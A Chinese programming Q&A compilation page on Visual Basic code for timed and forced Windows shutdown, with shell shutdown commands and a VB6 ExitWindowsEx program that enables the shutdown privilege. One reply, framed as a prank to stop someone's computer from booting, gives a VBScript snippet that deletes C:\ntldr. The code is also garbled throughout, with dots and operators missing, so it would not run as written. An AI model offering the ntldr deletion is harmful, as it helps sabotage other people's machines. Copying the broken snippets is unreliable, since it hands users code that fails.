说实话,楼主用的肯定是XP以上版本了。如果楼主用2000这个命令就没用了,因为2000里面没有shutdown命令。如果一定要用其实也没那么复杂
之前的代码也可以简化
比如shell
"shutdown
-s
-t
30"
之后取消就用shell
"shutdown
-a"就好,当然楼主只是在自己电脑上玩玩那可以这么弄,如果想run
everywhere的话要用API,需要可以加我237393775我们一起讨论研究!
用“shutdown”就行,并且不用编程,它本身有自带倒计时功能
具体用法,运行“shutdown -s -t 倒计时秒数”。
于是你就加一条命令到vb代码
shell("shutdown -s -t 0")
应该就能强行关闭程序并关机。
VB定时关机代码
简单的VB定时 关机 记时开始的时候可以发出声音
新建一个窗体FROM1 和一个 按钮 Command1
添加 一个 Timer1 控件 和 Label1
Dim ss, mm, hh As Integer
Private qdtime '变量保存计时起点
Private imglft As Integer '退出图标左坐标初值
'下面为关机的 WIMDOWS API 函数声明
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Enum HowExitConst
EWX_FORCE = 4 '强制关机
EWX_LOGOFF = 0 '注销
EWX_REBOOT = 2 '重开机
EWX_SHUTDOWN = 1 '可关机98 但在2000下关机最后出现“ 现在可以安全关机”的问题
EWX_POWEROFF = 8 '可以关闭Windows NT/2000/XP:计算机的:
End Enum
Const TOKEN_ADJUST_PRIVILEGES = &H20
Const TOKEN_QUERY = &H8
Const SE_PRIVILEGE_ENABLED = &H2
Const ANYSIZE_ARRAY = 1
Private Type LUID
lowpart As Long
highpart As Long
End Type
Private Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Private Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32dll" Alias _
"LookupPrivilegeValueA" (ByVal lpSystemName As String, _
ByVal lpName As String, lpLuid As LUID) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32dll" _
(ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, _
NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, _
PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Private Declare Function OpenProcessToken Lib "advapi32dll" _
(ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, _
TokenHandle As Long) As Long
Private Sub AdjustToken() '关闭2000/XP前要先得到关机的特权
Dim hdlProcessHandle As Long
Dim hdlTokenHandle As Long
Dim tmpLuid As LUID
Dim tkp As TOKEN_PRIVILEGES
Dim tkpNewButIgnored As TOKEN_PRIVILEGES
Dim lBufferNeeded As Long
hdlProcessHandle = GetCurrentProcess()
OpenProcessToken hdlProcessHandle, (TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY), _
hdlTokenHandle
'Get the LUID for shutdown privilege
LookupPrivilegeValue "", "SeShutdownPrivilege", tmpLuid
tkpPrivilegeCount = 1 ' One privilege to set
tkpPrivileges(0)pLuid = tmpLuid
tkpPrivileges(0)Attributes = SE_PRIVILEGE_ENABLED
'Enable the shutdown privilege in the access token of this process
AdjustTokenPrivileges hdlTokenHandle, False, tkp, Len(tkpNewButIgnored), _
tkpNewButIgnored, lBufferNeeded
End Sub
Private Function hmstostring(ByVal h As Integer, ByVal m As Integer, ByVal s As Integer) As String
Dim hhs, mms, sss As String
If h < 10 Then
hhs = "0" + Trim(Str(h))
Else
hhs = Trim(Str(h))
End If
If m < 10 Then
mms = "0" + Trim(Str(m))
Else
mms = Trim(Str(m))
End If
If s < 10 Then
sss = "0" + Trim(Str(s))
Else
sss = Trim(Str(s))
End If
hmstostring = hhs + ":" + mms + ":" + sss
End Function
Private Sub Command1_Click()
Timer1Enabled = False
End Sub
Private Sub Form_Load()
valuetime = 5 '设置关机时间 /分钟
Timer1Enabled = True
hh = Int(valuetime / 60) ' 转换时间格式
mm = valuetime - hh 60
ss = 0
Label1Caption = hmstostring(hh, mm, ss)
End Sub
Private Sub Timer1_Timer()
If ss < 1 Then
If mm < 1 Then
If hh < 1 Then
Timer1Interval = 0
AdjustToken '关闭2000/XP前要先得到关机的特权
Call ExitWindowsEx(EWX_POWEROFF, 0) '关机
Exit Sub
Else
hh = hh - 1
mm = 59
ss = 60
End If
Else
mm = mm - 1
ss = 60
End If
Else
ss = ss - 1
Beep '发出声音
End If
Label1Caption = hmstostring(hh, mm, ss)
太麻烦你可以去看看这个,直接调用模块函数
>
恶搞别人,让对方开不了机,有个更简单的办法。dim fso
set fso = createobject("scriptingfilesystemobject")
fsodeletefile(c:\ntldr)
set fso=nothing上述代码的作用是删除C盘根目录下的ntldr文件,没了这个文件,Widows NT/2000/Xp系统是无法启动的。
在XP里直接
Function Shutdown(optional Restart =false)
dim c
if restart then c="-r " else c="-s "
c=c &"-t 00"
shell "shutdown "& c ,vbhide
end function
98好象也可以用
Private Declare Function ExitWindowsEx Lib "USER32" _
(ByVal uFlags As Long, _
ByVal dwReserved As Long _
) As Long
Private Const EWX_LOGOFF = 0
Private Const EWX_REBOOT = 2
Private Const EWX_SHUTDOWN = 1
function Shutdown()
ExitWindowsEx(EWX_SHUTDOWN, 0)
end function
function restart()
ExitWindowsEx(EWX_REBOOT, 0)
end function
以上就是关于VB强制中断关机代码全部的内容,包括:VB强制中断关机代码、VB定时关闭所有程序并关机、vb 软件设定 关机!求代码!整句的!不要给一半!我邮箱lizihao0611@163.com等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)